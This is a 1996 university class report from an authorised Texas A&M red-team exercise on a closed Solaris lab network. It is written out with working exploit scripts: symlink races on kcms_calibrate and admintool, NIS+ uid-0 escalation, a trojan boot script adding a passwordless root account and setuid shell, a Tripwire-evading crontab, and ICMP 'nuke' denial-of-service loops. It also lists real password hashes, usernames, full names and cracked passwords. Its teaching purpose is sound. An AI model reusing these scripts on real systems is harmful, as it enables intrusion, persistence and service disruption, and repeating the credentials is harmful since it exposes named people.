HostedDB - Dedicated UNIX Servers

-->
Advanced Network Security Class Report

Final Report

Advanced Networking Security

CPSC689 - Summer '96

Instructor. Dr. Udo. W. Pooch

Prepared by

The Black2 Team

Ajay Kumar Gummmadi

Eric Daniel

Faisal Karim

Ikram Ahmed Khan

Ralph Akram Gholmieh (please send me your comments)

Raul Gonzalez Barron

Rehan Ayyub Sheikh


A- Table of Contents

A. Table of Contents

B. Abstract

C. Introduction

D. Hacking Techniques
D.1 Social Engineering (eavsdropping):
D.2 The old Bugs that are mostly patched
D.3 Misconfiguration of the mount table
D.4 CERT advisory CA-96.10
D.5 Cracking Passwords
D.6 The recurring Temporary file syndrome, the Kcms/Admintool exploits
   D.6.1- Description
   D.6.2- KCMS vulnerability
   D.6.3- Admintool vulnerability
   D.6.4- Conclusion
D.7 Sending Fake Packets and probing of the UDP ports, the first "denial of service" attempt
D.8 The ICMP protocol, the nuke program
D.9 Covering our tracks:

E. Results
E.1- Exploiting the Mounted Home Directories
E.2- Root access on Gold2 and Gold1 using the NIS exploit,
E.3- Exploitation of the Kcms vulnerability
E.4- Forcing the system to reboot through the use of the nuke program
E.5- The fight with the Black4 team.

F. Vulnerability Scanning Tools
F.1 Computerized Oracle and Password System (COPS)
F.2 SATAN

G. Summary and Conclusion

H. Suggestions for future versions of the course

I. Appendix:
I.1. Code/Scripts Used
I.1.1 Script that kills all processes associated woth other terminals
I.1.2 Program that removes the trails from the utmp, utmpx, xtmp and wtmpx files
I.1.3 Code for The Slightly modified version of the widely available nuke.c
I.1.4 Code for The Treelight program
I.2 References
I.3 Internet References (Hacking Links)


B- Abstract

'Advanced Network Security' is a special topic class offered by the Computer Science department at Texas A&M University. The course being referenced as CPSC - 689 is usually offered during the summer semester. The course has a practical orientation.

The class was structured in such a way that there was a Gold Team (Good guys) or the System Administrators and four black teams (Bad guys) or the hackers. Each team had six to seven members. There was an advisory committee and referees. The advisory committee included the actual system administrators of the Computer Science department. The referees were Dr. Udo W. Pooch and Mr. Willis Marti.

The teams were allowed to practice on a network which included two gold machines (gold 1 was the server and we had to hack gold 2) and four black machines(each owned by a different black team). A Cisco router connected the gold and black machines. This network was screened out from the Computer Science department by a machine named Kennel. Each team had to first login into Kennel and then to his respective or whichever machine he had access to. All the users were provided accounts on the Gold2 machine.

Every Thursday, each team met the referee committee for 20 minutes to report on its latest hacks.

It is our belief that this class should be constantly offered by the CS department. It was a very interesting learning experience for all of us on the black2 team.


C- Introduction

This report contains all the information obtained while practicing `Hacking' as the `Black 2' team, one of the four black teams.

The report includes the hacking techniques that we learned, the attacks in which we used them, and some suggestions for future versions of this class.

In the process of this course various sites of interest related to the course were found on the internet, the URL's of which are in the reference section of this report.

We subscribed to the following mailing lists: Best of Security , Bugtraq, Firewalls, and ssh. These turned out to be great sources of information. Reading these mailing lists, more than anything else, introduced us to the technical aspect of security problems.

The Black 2 team worked as a unit. Putting all efforts to effective use by having regular meetings every three to four days, discussing the strategies used, and deciding on new strategies to be practiced and tested. Work load was managed and distributed accordingly.

System Administration is a real tough job but at the sametime one enjoys doing it, playing and learning the various options of the system. Most of the members, had little prior knowledge of the subject, and therefore, put in a lot of time and effort exploring the system.

All in all this course has been a very good learning ground for the future System Administrators having been able to get a view of what the bad guys can do to penetrate through the system. The practical aspect of the course brings in enthusiasm and helps learn and practice more.

We hope that the reader will enjoy this report.


D. Hacking Techniques

This section is about the techniques and tool that we used in our hacking attacks. This is a purely technical description of the raw attack techniques that we used. The results as well as the description of the actual attacks can be found in section E.

D.1 Social Engineering (eavsdropping):

Our team broke into the black3 machine on the second day. They were heard discussing that "it was all chemicals" and we guessed that it had something to do with the passwords. This assumption was tested using the names of acid and chemicals as the seed. The password of account saa2397 was found to be "xenon". Later on using the same technique again, the account 'btm2564' was found to have "nitrogen" set as password.

shutdown:*:6:0:shutdown:/sbin:/sbin/shutdown
halt:*:7:0:halt:/sbin:/sbin/halt
mail:*:8:12:mail:/var/spool/mail:
news:*:9:13:news:/usr/lib/news:
uucp:*:10:14:uucp:/var/spool/uucppublic:
operator:*:11:0:operator:/root:/bin/bash
games:*:12:100:games:/usr/games:
man:*:13:15:man:/usr/man:
postmaster:*:14:12:postmaster:/var/spool/mail:/bin/bash
nobody:*:-1:100:nobody:/dev/null:
ftp:*:404:1::/home/ftp:/bin/bash
guest:*:405:100:guest:/dev/null:/dev/null
rbatni:LOzfCLHLF1vVU:501:100:
Rajeev Batni:/home/rbatni:/bin/tcsh
btm2564:CkQzy81AOaGQw:503:100:Bobby
Makwana:/home/btm2564:/bin/tcsh
saa2397:G8v5GkekgAEiI:504:100:Syed Aziz:/home/saa2397:/bin/tcsh
nabrol:nbFO6upHft6uk:505:100:Abrol Nischal:/home/nabrol:/bin/tcsh
skumar:40MdQaBdrauEk:506:100:Sankaran Kumar:/home/skumar:/bin/tcsh
smani:wlqnOakMahsaQ:507:100:Somnath Mani:/home/smani:/bin/tcsh
ellenm:CaJPA2nLQQIbc:508:100:Ellen Mitchell:/home/ellenm:/bin/tcsh
lars:AbK/NfSsMCuzk:509:100:Lars Crotwell:/home/lars:/bin/tcsh

D.2 The old Bugs that are mostly patched

On the first few days, the gold team had not yet installed a good monitoring system. Unfortunately, our hacking knowledge was still quite slim and most of the numerous easy hacks available on the net had long been patched on the Solaris system. The Internet was searched for small hacks that were tried. In addition, the system was probed using COPS (refer to section F).

The results of these hacks were disappointing, but they did put us on track in our holy search of "Root Access". One of the most interesting papers was "Improving the Security of Your Site by Breaking Into it", written by Dan Farmer and Wietse Venema the programmers of Satan.

The first method they give should have been enough to hack the system :

"evil % showmount -e victim.com". The mount weakness had already been discoveres by our team member edaniel (refer to section D.3).

Gold2 was then scanned for ftp weaknesses. Some of those include: having the home ftp directory world writable so that a ".forward" file containing "|/bin/command " could be executed when ftp receives mail; writing in the ftp bin directory to add commands to the ones that can be executed by ftpying users. This old ftp bug is representative of the simple hacks that were tried:

% ftp -n
ftp> open victim.com
Connected to victim.com
220 victim.com FTP server ready.
ftp> quote user ftp
331 Guest login ok, send ident as password.
ftp> quote cwd ~root
530 Please login with USER and PASS.
ftp> quote pass ftp
230 Guest login ok, access restrictions apply.
ftp> ls -al / (or whatever)
and the user has root access.

The sendmail utility on port 25 was then scanned with no more success. Old Sendmail bugs are easy to find on the internet.

Race conditions were then tried on the system. These refer to trying to run two programs concurrently on a common object, in the hope that the interference between the two would produce a desired effect. Let's look at the mkdir command for example: it creates the directory first, then changes the ownership to the user who called the command. If the created directory can be replaced by a link to /etc/passwd before the changing of the ownership and the permissions, then, we will end up owning /etc/passwd. The following short script tries to exploit this particular type of weakness (note that this did not work on the gold2 machine running Solaris):

#!/bin/csh
while (1)
/usr/bin/nice -10 "mkdir a;rm -fr a"&
(rm -fr a; ln -s /etc/passwd a) &
end

Several other "Race Conditions" were tested, the "password race" exploit was one of them (check the file passwdrace.c provided in our /pub/689ans/black2 directory. The result was also negative.

D.3 Misconfiguration of the mount table

A "showmount -e black1" showed that the /export/home directory on black1 was exported with permissions to everyone. It was easy to mount gold1:/export/home from black5, and to su to the appropriate id in order to read/write any file that is not owned by root.

For further information, please check the Results section for our exploitation of this configuration error).

D.4 CERT advisory CA-96.10

The CERT advisories relating to Solaris were read in order to find exploitable weaknesses on gold2.

As described in the CERT advisory CA-96.10, it can happen that users have permission to modify their own entry in passwd.org_dir, thus being able to set their own uid to zero. This is the way NIS+ is installed by default. Running the command "niscat -o passwd.org_dir" on gold2, we got:

Object Name : passwd
Owner : myhost.mydomain.org.
Group : admin.mydomain.org.
Domain : org_dir.mydomain.org.
Access Rights : ----rmcdrmcd----
Time to Live : 12:0:0
Object Type : TABLE
Table Type : passwd_tbl
Number of Columns : 8
Character Separator : :
Search Path :
Columns :
[0] Name : name
Attributes : (SEARCHABLE, TEXTUAL DATA, CASE SENSITIVE)
Access Rights : r---------------
[1] Name : passwd
Attributes : (TEXTUAL DATA)
Access Rights : -----m----------
[2] Name : uid
Attributes : (SEARCHABLE, TEXTUAL DATA, CASE SENSITIVE)
Access Rights : -----m----------
[3] Name : gid
Attributes : (TEXTUAL DATA)
Access Rights : r---------------
[4] Name : gcos
Attributes : (TEXTUAL DATA)
Access Rights : r---------------
[5] Name : home
Attributes : (TEXTUAL DATA)
Access Rights : r---------------
[6] Name : shell
Attributes : (TEXTUAL DATA)
Access Rights : r---------------
[7] Name : shadow
Attributes : (TEXTUAL DATA)
Access Rights : ----------------

Note that the user has the right to modify his own user id, the rest is a piece of cake:

gold2%nistbladm -m uid=0 '[name=edaniel]',passwd.org_dir
gold2%nistbladm -m uid=111 '[name=edaniel]',passwd.org_dir

The full details about our exploitation of this open door are described in section E.

D.5 Cracking Passwords

Crack version 4.1 was run on the gold2 password file. The program was able to crack user "Karthik"'s password, this was "major3". The dictionnary used was the simple one downloaded with the program. A quick ftp to Karthik's account confirmed that the password was correct. Unfortunately, this password was too easy. It was cracked by several other groups. The unusual activity centered around that account led the gold team to blocking two of our users (raoulg and ralphg).

Later on, two more word lists were added to the dictionnary, these were:hindu-names (several users are indian) and usenet-names. Dictionaries as Spanish and Chinese are also tried. The quest unfortunately was not more successful.

It is funny that all through the game, the list of the crypted passwords was available through NIS (just type: niscat passwd.org_dir). One has to wonder about the use of shadowing the /etc/passwd file. Here is the password file that we ran Crack on:

larsc:DXMQYbH2KzYp6:1000:10:/home/larsc:/bin/csh:9666
karthik:moyfq3ENRQezQ:100:10:/home/karthik:/bin/csh:9662
jxue:SvAx3W9rovbVM:101:10:/home/jxue:/bin/csh:9660 junhua:WwUciWBfpmSO6:102:10:/home/junhua:/bin/csh:9660 xqzhi:72qS/2NubFLxQ:103:10:/home/xqzhi:/bin/csh:9676 asg7946:CysHGGKxcQa.U:104:10:/home/asg7946:/bin/csh:9660 krisjay:MnjUgb6XCwMGk:105:10:/home/krisjay:/bin/csh:9676 ritat:az/xz3QX7vB0.:106:10:/home/ritat:/bin/csh:9669 uday3988:9.6wqfx.PIcrE:107:10:/home/uday3988:/bin/csh:9660 dunnc:h/a8z.EFdsO/k:200:10:/home/dunnc:/bin/csh:9660 csudhir:Oiwuuznd6m5W6:201:10:/home/csudhir:/bin/tcsh:9676 michaelm:H1fs0qlQqP9sE:202:10:/home/michaelm:/bin/csh:9672 mmehta:gCg9E0TUUrKos:203:10:/home/mmehta:/bin/csh:9667 nshanti:*LK*:204:10:/home/nshanti:/bin/csh:9669
anb5324:*LK*:205:10:/home/anb5324:/pub/gnu/bin/bash:9671 jredd:Fxrzoi5LHTcn2:206:10:/home/jredd:/usr/bin/tcsh:9669 ajayg:0oXFd4W2aCxoI:108:10:/home/ajayg:/bin/csh:9670 raulg:BrJTmwEOT43Do:109:10:/home/raulg:/bin/csh:9667 edaniel:BpF7Ra.Bnp0Eg:110:10:/home/edaniel:/bin/csh:9667 ralphg:M/mwmzAgNuxlw:111:10:/home/ralphg:/bin/csh:9678 faisalk:phAYs/sEs56EA:113:10:/home/faisalk:/bin/csh:9677 rehan:lnqIdVQGgbuSA:112:10:/home/rehan:/bin/csh:9661 rbatni:iSuIfppxyWxFo:114:10:/home/rbatni:/bin/csh:9661 dpatel:YtHSZZwniGUNo:115:10:/home/dpatel:/bin/csh:9664 btm2564:YdYxvBpq7w6xg:116:10:/home/btm2564:/bin/csh:9667 saa2397:6I3Fx7StUMJC2:117:10:/home/saa2397:/bin/csh:9661 nabrol:qB2.0yi8Lhvpw:118:10:/home/nabrol:/bin/csh:9667 skumar:w5mDRHclwQ1F.:119:10:/home/skumar:/bin/csh:9666 smani:fdfZezcSs02f6:120:10:/home/smani:/bin/csh:9665 mpriddy:83Wl8LOmNhG2U:121:10:/home/mpriddy:/bin/csh:9660 luwenhu:QRGWF6QIN1GMs:122:10:/home/luwenhu:/bin/csh:9664 brandonb:ieePjIZZ4u1q.:123:10:/home/brandonb:/bin/csh:9662 johnnyh:TSRNKedxhn8hc:124:10:/home/johnnyh:/bin/csh:9662 asahoo:kI2bFDW8FaHz6:125:10:/home/asahoo:/bin/csh:9664 a0s8815:pki7QIsqdR3fE:126:10:/home/a0s8815:/bin/csh:9667 sajidm:ORfh7.2GXutjY:127:10:/home/sajidm:/bin/csh:9664 wayne:40k6yZ8e9HejE:128:10:/home/wayne:/bin/csh:9665 ellenm:9..A27Z0yzCFc:129:10:/home/ellenm:/bin/csh:9669 willis:p/XzJIRuuVVOk:300:10:/home/willis:/bin/csh:9668 pooch:ZIYG8DG.l54BQ:400:10:/home/pooch:/bin/csh:9668 hacker:ue/8aTMAB.LoQ:500:10:/home/hacker:/bin/csh:9676 sanjay:T52oYfekc7aco:130:10:/home/sanjay:/bin/tcsh:9668

D.6 The recurring Temporary file syndrome, the Kcms/Admintool exploits

D.6.1- Description

This type of hacking exploit has always plagued the UNIX operating system. It corresponds to the creation of a temporary file by a program running as root. This can be exploited if the permissions on the temporary file are set to rw-rw-rw-, the temporary file is created in a world writable directory, and the name of the file can be predicted. Then, all the hacker has to do is create a symbolic link from the temporary file to be created to a non-existant file. When the program runs next, it creates the file pointed to by the link.

This vulnerability has lately shown up in three programs that are suid root: Kcms_calibrate, admintool and vold. We heard of these on the bugtraq mailing list. The vold vulnerability was not exploitable by us because it needed physical access to the machine. The "admintool" vulnerability was later fixed by the gold team. The Kcms_calibrate was extensively used, it was never fixed by the gold team.

D.6.2- KCMS vulnerability

Solaris 2.5 contains support for the Kodak Color Management System (KCMS), a set of Openwindows compliant API's and libraries to create and manage profiles that can describe and control the colour performance of monitors, scanners, printers and film recorders.

KCMS includes the programs kcms_configure and kcms_calibrate which are used for the configuration and calibration of an X11 window system for use with the KCMS library. When installed, these programs have set-user-id root and set-group-id bin privileges.

When run, kcms_calibrate creates the temporary file /tmp/Kp_kcms_sys.sem, here is a script that exploits this vulnerability by creating a .rhosts file and putting + + in it:

#!/bin/csh
/bin/rm -rf /tmp/Kp_kcms_sys.sem
cd /tmp
#Making symbolic link
ln -s /.rhosts Kp_kcms_sys.sem
/usr/openwin/bin/kcms_calibrate &

After the script is run, /.rhosts is created with the permissions set to 666, while the file itself is owned by root.

D.6.3- Admintool vulnerability

Admintool is a graphical user interface that enables an administrator to perform several system administration tasks on a system. These tasks include the ability to manage users, groups, hosts and other services.

To help prevent different users updating system files simultaneously, admintool uses temporary files as a locking mechanism. The handling of these temporary files is not performed in a secure manner, and hence it may be possible to manipulate admintool into creating or writing to arbitrary files on the system.

These files are accessed with the effective uid of the process executing admintool.

Here is a script similar to the one given for the kcms exploit:

#!/bin/sh
DISPLAY=":0.0";export DISPLAY
rm -rf /tmp/.group.lock
ln -s /.rhosts /tmp/.group.lock
notbroken=1
/usr/bin/admintool &
#(browse -> group -> edit a group -> get an error message -> exit)
while [ $notbroken -eq 1 ]
do
if [ -f /.rhosts ]; then
/bin/cp /dev/null /.rhosts
/bin/echo "+ +" >> /.rhosts
/usr/bin/rsh localhost -l root "( /usr/openwin/bin/xterm -display $DISPLAY& )"
notbroken=0
sleep 1
fi
done

D.6.4- Conclusion

Again the scenario is the same. Any non-existant file can be created using this method.

It is useless to go into the details of the vold vulnerability as well. The KCMS vulnerability was extensively used for the second major break-in which is described in section E.5.

D.7 Sending Fake Packets and probing of the UDP ports, the first "denial of service" attempt

Several programs that open SOCK_RAW sockets are available on the net. This type of socket can only be opened if the program is run as root. A SOCK_RAW socket gives unlimited control to the data packets sent. We were able to send packets with fake IP addresses from black5 to gold2. Even gold1 could be faked as sender even though the two machines were supposedly separated by a firewall.

One such program is the treelight program published in the issue #4 of FEH. It had to be modified to run on Solaris because it expected the fields to be called differently in the ip header definition. The program sends a "Christmas Tree Packet" (SYN, URG, PSH, FIN and 1 Byte of data) from from source.port to dest.port. This type of packet is also known as a "Kamikaze Packet", "Nastygram", and "lamp test segment". It was used in our first attempt at staging a "denial of service" attack. A packet having (gold2, port7) as source and (gold2,port7) as target was sent. Since the port number 7 is the "echo" port, the packet was exchanged eternally between gold2 and itself. Since there were no other machines being traversed, the hop count stayed constant. Although the level of activity of gold2 was brought to 67%, no noticeable effect on the speed of the system was observed.

D.8 The ICMP protocol, the nuke program

"The Internet Protocol is used for host-to-host datagram service in a system of interconnected networks called the Catenet. The network connecting devices are called Gateways. These gateways communicate between themselves for control purposes via a Gateway to Gateway Protocol (GGP). Occasionally a gateway or destination host will communicate with a source host, for example, to report an error in datagram processing. For such purposes this protocol, the Internet Control Message Protocol (ICMP), is used. ICMP, uses the basic support of IP as if it were a higher level protocol, however, ICMP is actually an integral part of IP, and must be implemented by every IP module." (DARPA Internet Protocol Specification).

ICMP messages can be sent in several situations: for example, when a datagram cannot reach its destination, when the gateway does not have the buffering capacity to forward a datagram, and when the gateway can direct the host to send traffic on a shorter route. The part that interests us is the exchange of ICMP_unreach packets that tell a host that its peer host or port is no longer available.

"To prevent denial of service attacks based on ICMP bombs, filter ICMP redirect and ICMP destination unreachable packets. In addition, sites should filter source routed packets" (paper ftp://info.cert.org/pub/tech_tips/packet_filtering). Obviously this kind of protection was not available for the gold subnetwork as we were always able to send packets with fake IP addresses.

The following step was to use the widely available "nuke" program. The version available on the network killed telnet connections by sending ICMP unreach packets to the target machine. "nuke" was modified to be able to attack any connection. Here is an example of the program in action:

First, connect to gold2 and check what are the active connections, then decide which one to attack:

gold2% netstat -a
.
.
.
.
.
*.80 *.* 0 0 0 0 LISTEN
gold2.32794 gold1.32771 8760 0 8760 0 ESTABLISHED
gold2.1022 gold1.nfsd 8760 0 8760 0 ESTABLISHED
gold2.telnet gold1.33049 8760 0 8760 0 ESTABLISHED
*.22 *.* 0 0 0 0 LISTEN
gold2.telnet gold1.33105 8760 0 8760 0 ESTABLISHED
gold2.telnet kennel.54746 49640 0 8760 0 ESTABLISHED
gold2.telnet black4.1213 14335 0 10052 0 ESTABLISHED
^^^^^^^^^^^^^^^^^^^^^^^^^ targeted connection
gold2.22 kennel.54748 49640 0 8760 0 ESTABLISHED
gold2.22 kennel.54749 49640 0 8760 0 ESTABLISHED
.
.
.
.
.

Then run nuke on black5 with the appropriate paramters:

black5% su
Password:
# ./nuke gold2 black4 1213 23
#

Another "netstat -a" on the gold2 machine shows that the connection does not exist any more:

gold2% netstat -a
.
.
.
.
.
.
.
*.80 *.* 0 0 0 0 LISTEN
gold2.32794 gold1.32771 8760 0 8760 0 ESTABLISHED
gold2.1022 gold1.nfsd 8760 0 8760 0 ESTABLISHED
gold2.telnet gold1.33049 8760 0 8760 0 ESTABLISHED
*.22 *.* 0 0 0 0 LISTEN
gold2.telnet gold1.33105 8760 0 8760 0 ESTABLISHED
gold2.telnet kennel.54746 49640 0 8760 0 ESTABLISHED
gold2.22 kennel.54748 49640 0 8760 0 ESTABLISHED
gold2.22 kennel.54749 49640 0 8760 0 ESTABLISHED
.
.
.
.
.

The program was later used to slow down the NFS server on gold2 and to kill all login connections to gold2. For the full details of this denial of service attack, the reader is referred to section E.3.

D.9 Covering our tracks:

A program that deletes our own entry from the wtmpx tables was available to us. It is listed in the appendix. The user who calls this command will be hidden from the who and w commands, the only trace of his activity can be got through running "ps". A portion of it comes from a mailing list. The program in the list deleted the traces from utmpo or wtmp, support for utmpx, wtmpx and a couple of other logs was added.

E. Exploiting our Hacking Tools, the Attacks and their Results

E.1- Exploiting the Mounted Home Directories

Gross traps in the .cshrc of the people that had root-owned files in their home directories (presumably gold team members), with the intent to make `ls' create a suid shell when ran as root. This didn't work as expected.

More subtle trap in cops, which was in csudhir's home (the day before, we had seen cops being run as root), COPS was removed the following day.

Addition of a supplementary public key in about half of the users' .ssh/authorized-keys. We had, of course, the corresponding private keys. This was discovered on june 28th.

Non-root access to gold1 resulting from the previous operation.

The following scheme was also envisioned:

1- Adding the command (alias su '/tmp/log1';unalias su) into the .login file of a gold team member.

2 - /tmp/log1 would copy the initial .login file to the home directory, ask for

a Password, save the password in a file in the temp directory, give an invalid

password message, and delete itself.

3 - The unalias would secure that everything would pass unnoticed.

This scheme was not used because root access was secured by more straight forward means, namely the non-protection of the NIS tables.

E.2- Root access on Gold2 and Gold1 using the NIS exploit

As described in section D.4, the exploit allowed us to get quick root access on gold2. Root access to gold1 was still to be achieved.

Login as a normal gold team user was easy through ssh. The /export/home directories were exported to gold2 without the suid root flag set on them, but they were exported to gold1 with the suid root flag set on them. This meant that an suid root file in the home directories could not be executed on gold2, but could still be executed on black1! The rest is easy:

1- We turned into root through the commands:

stbladm -m uid=0 '[name=edaniel]',passwd.org_dir

2- A ssh key was added to gold team member X, after we su'ed into his account on gold2.

3- A suid root shell was created in the home directory of X.

4- We accessed gold1 as X and ran the shell file.

5- We got root access on gold1.

We proceeded to do the following:

1- Trojanization of a setuid executable in /bin on gold1 and gold2 (still present at the mid-term break). The trojan was a simple shell that replaced "fdformat" in /usr/bin. At the end of the exercice, we learned that the trojan was removed inadvertedly when the gold team deleted /bin by mistake.

2- Addition of a public key in /root/.ssh/authorized_keys on gold1 and gold2. This allowed us to login as root to both gold1 and gold2 thorough ssh. It later turned out that logging in as root created utmp entries for root (the gold team were always accessing root status by su'ing), a gold team member noticed this and discovered the ssh keys.

3- Creation of new user was created (still present at the end of the games), the user's name is sanjay and it has its own home directory and ssh key. A weird thing is that NIS allowed root to manage the NIS tables (creeate a new account) on gold1 without asking for the authentification of root through keylogin.

Root access was maintained until the fateful 17th day of July. Users Ralphg and Ajayg were trying to use the loophole again. User Ajayg changed his uid to 0, then logged out and in several times until he got root access.

What the two hackers didn't realize, was that they should have kept the shell where user Ajayg still had his original uid. User Ajayg became root on gold2, he could not access his initial entry in the NIS tables located on gold1.

User edaniel joined in and noted that the only cure was to get root access on gold1 and change the tables back to their initial state. A ssh key was added to gold team member Csudhir, and we logged in to gold1. User anb5324 was lurking around on gold1 and noticed the suspect login. anb5324 logged in to gold2 and quickly killed our telnet session. We logged back in through a backdoor that we had put in (a uucp account with no password and with uid of 0), then killed anb5324's telnet sessions. anb5324 flushed the routing table on gold2, and we were out of the picture. Later on that day, the misconfiguration was fixed.

The lesson we learned was to hack more carefully from then on.

E.3- Exploitation of the Kcms vulnerability

As described earlier in section D.6.2, the kcms_calibrate exploit allows the creation of any non-existant file anywhere on the local file system of gold2. The following steps were executed:

1 - As a test, the file /.rhosts was created. This turned out to be useless because neither rsh nor rlogin were available on gold2. However, the file was not removed by the gold team until 5 days after its creation.

2- The actual attack was started by creating the script file S100blah in /etc/rc2.d. All the files in the rc2.d directory are run as scripts whenever the system is rebooted. Here is the Trojan Script:

# Give us root access
/bin/echo "uuucp::0:0:H. Acker:/:" >> /etc/passwd
/bin/cp -p /bin/sh /etc/mysh
/bin/chmod u+s /etc/mysh
/bin/chown root /etc/mysh
/bin/rm -rf /root/*iger* > /dev/null 1>&2

This exploit worked quite well, it gave us root access after the reboot.

3- The cron program runs in the background and executes specified commands at specified intervals of time. At boot time, it reads each user's current table of commands from /var/spool/cron/crontabs/. The trick was to create a crontab file for the mail super-user smtp, however smtp was in the /etc/cron.d/cron.deny file which existed on gold2. Here is what the man page says about the crontab access control:

crontab Access Control

Users: Access to crontab is allowed:

o if the user's name appears in /etc/cron.d/cron.allow.

o if /etc/cron.d/cron.allow does not exist and the

user's name is not in /etc/cron.d/cron.deny.

Users: Access to crontab is denied:

o if /etc/cron.d/cron.allow exists and the user's name

is not in it.

o if /etc/cron.d/cron.allow does not exist and user's

name is in /etc/cron.d/cron.deny.

o if neither file exists.

Thus, it was obvious that two files had to be created. First, /etc/cron.d/cron.allow was created, it was filled with all the users that should be allowed to have access to the crontab command:

root
smtp
larsc
karthik
jxue
junhua
xqzhi
asg7946
krisjay
ritat
uday3988
dunnc
csudhir
michaelm
mmehta
nshanti
anb5324
jredd
ajayg
raulg
edaniel
ralphg
faisalk
rehan
rbatni
dpatel
btm2564
saa2397
nabrol
skumar
smani
mpriddy
luwenhu
brandonb
johnnyh
asahoo
a0s8815
sajidm
wayne
ellenm
willis
pooch
hacker
sanjay
iakhan

The second step was to create a crontab file for smtp in /var/spool/cron/crontabs, it had to be called smtp, and contained:

15 3 * * * * /bin/cp /bin/sh /var/adm/sids/.sh

16 3 * * * * /bin/chmod 4755 /var/adm/sids/.sh

This exploit was tested on black5 and worked perfectly, it was supposed to create a suid root shell every hour. Unfortunately, this did not work on the gold2 machine, it later turned out that it gave a TT_DB error when it executed(mysterious).

An important thing to note is that the shell file would have been extremely difficult to find by the gold team had it been created. The /var/adm/sids is used by Tripwire to store some of its results. Since everything is supposed to change in this directory, Tripwire does not search it. This was told to us by Aaron from the gold team after the end of the games. The location was actually chosen for the irony of it: the directory holds files that keep track of all the files that are suid root.

4- Having placed our trojans, we just needed to wait for a reboot. However, time was running fast and we were approaching the deadline for the games. This meant that we had to find a way to crash the system, or to push the gold team to reboot.

E.4- Forcing the system to reboot through the use of the nuke program

The NFS server on Gold1 used port 2049. Gold2 was using a port in the range 970-1010 to get its NFS service.

Using the nuke program described in seciotn D.8, the following script was written and executed on our black machine. This slowed down all NFS operations on Gold2.

#!/bin/csh
while (1)
./nuke gold2 gold1 2049 970&
./nuke gold2 gold1 2049 971&
./nuke gold2 gold1 2049 972&
./nuke gold2 gold1 2049 973&
./nuke gold2 gold1 2049 974&
./nuke gold2 gold1 2049 975&
./nuke gold2 gold1 2049 976&
./nuke gold2 gold1 2049 978&
./nuke gold2 gold1 2049 982&
./nuke gold2 gold1 2049 979&
./nuke gold2 gold1 2049 980&
./nuke gold2 gold1 2049 987&
./nuke gold2 gold1 2049 988&
./nuke gold2 gold1 2049 989&
./nuke gold2 gold1 2049 990&
./nuke gold2 gold1 2049 997&
./nuke gold2 gold1 2049 998&
./nuke gold2 gold1 2049 999&
./nuke gold2 gold1 2049 1000&
./nuke gold2 gold1 2049 1001&
./nuke gold2 gold1 2049 1002&
./nuke gold2 gold1 2049 1003&
./nuke gold2 gold1 2049 1004&
./nuke gold2 gold1 2049 1005&
./nuke gold2 gold1 2049 1006&
./nuke gold2 gold1 2049 1007&
./nuke gold2 gold1 2049 1008&
./nuke gold2 gold1 2049 1009&
./nuke gold2 gold1 2049 1010&
./nuke gold2 gold1 2049 1011&
end

Later on, the attack was hardwired into a nuke-NFS.c program. The attack became much quicker and the gold-NFS services practically grinded to a halt.

The original plan was to solely rely on the NFS attack, but some of our team members got carried away and started killing all ssh and telnet connections. For two hours, access to gold2 was denied to all other teams. This eventually lead the gold team to reboot their machine.

E.5- The fight with the Black4 team.

After the reboot, we got root access again on gold2. The program /etc/mysh worked perfectly, typing "/etc/mysh -p" gave us root access.

To our surprise, another team got root access too. After a few minutes motd was changed to:

.^^^.
 |o o|
-------------- "Root, is a state of MINE" - BLACK4 --oOO-(_)-OOo-- **********************************************************************
Our deepest gratitue is extended to all those who made this
possible. Thanks for the ideas all you unnamed Hackers.

This one is for you!!!!

Please mail any questions, problems, or service requests to

postmaster (if we reenable that account :) ).

**********************************************************************

We quickly took care of that :

.^^^.
|o o|
-------------- "Root, is a state of MINE" - BLACK4 --oOO-(_)-OOo--
-============= No, it's mine! MINE!!!! ========= BLACK2 ===========
Black2 Ruleeeeeeeeeeeeeeeeeeeeezzzzzzzz

**********************************************************************

Our deepest gratitue is extended to all those who made this
possible. Thanks for the ideas all you unnamed Hackers.

This one is for you!!!!

Please mail any questions, problems, or service requests to

postmaster (if we reenable that account :) ).

**********************************************************************

This obviously meant WAR. For one and a half hours, we killed all telnet or ssh connections to gold2 using nuke. At the same time, black4 team members who were able to get through killed our processes.

Here is the the last "few" commands cut and pasted from one of our user's xterm's when all was over. The user was connected on black5 as root and was sending ICMP_port_unreachable packets to kill off other team's connections. Four other team members were doing the same :) :

# ./nuke gold2 black4 113 32985
# ./nuke gold2 black4 1189 23
# ./nuke gold2 black4 1191 23
# ./nuke gold2 black4 1192 23
# ./nuke gold2 black4 113 23
# ./nuke gold2 black4 54466 22
# ./nuke gold2 black4 1195 23
# ./nuke gold2 black4 1194 23
# ./nuke gold2 black4 sunrpc 33013
# cat /etc/services | grep sunrpc
sunrpc 111/udp rpcbind
sunrpc 111/tcp rpcbind
# ./nuke gold2 black4 111 33013
# ./nuke gold2 black4 1194 23
# ./nuke gold2 black4 113 33060
# ./nuke gold2 black4 1196 23
# ./nuke gold2 black4 113 23
# ./nuke gold2 black4 1197 23
# ./nuke gold2 black4 113 23
# ./nuke gold2 black4 113 33070
# ./nuke gold2 black4 1198 23
# ./nuke gold2 black4 1198 23
# ./nuke gold2 black4 1202 23
# ./nuke gold2 black4 1203 23
            .
            .
            .
# ./nuke gold2 black4 113 33186
# ./nuke gold2 black4 1204 23
# ./nuke gold2 kennel 54510 finger
# ./nuke gold2 kennel 54514 22
# ./nuke gold2 kennel 54504 23
# ./nuke gold2 kennel 54506 23
# ./nuke gold2 kennel 54505 22
# ./nuke gold2 kennel 51128 22

We could have won this "battle" easily by deleting the files "ps" and "kill" from /etc, making black4 "blind". This did not occur to us at the time. People get used so much to the presence of those services that it doesn't occur to them that these are just files that can be removed!

At around 6 o'clock, we got tired of the petty feud. Our team member edaniel changed the eeprom password and rebooted the machine. We had the last word, the end of the games was declared by Mr. Willis Marti.


F.scanning tools

The scanning tools that we used are listed below. COPS was run on gold2 the first day hacking started. All the loopholes checked by COPS were patched on the Gold systems.

F.1 Computerized Oracle and Password System (COPS)

Executed this program on gold2 to check the known loopholes in the system security. Here is the generated security report:

Security Report for Mon Jun 17 01:00:14 CDT 1996

from host gold2
**** root.chk ****
**** dev.chk ****
**** is_able.chk ****
**** rc.chk ****
**** cron.chk ****
**** group.chk ****
**** home.chk ****
**** passwd.chk ****
**** user.chk ****
**** misc.chk ****
**** ftp.chk ****
**** pass.chk ****
**** kuang ****
**** bug.chk ****

The various checks that were conducted include:

1. Checking some files such as /etc/passwd, /etc/shadow, .profile, /bin, /etc

and such other critical files and directories.

2. We also checked if any of the users have any null paswords

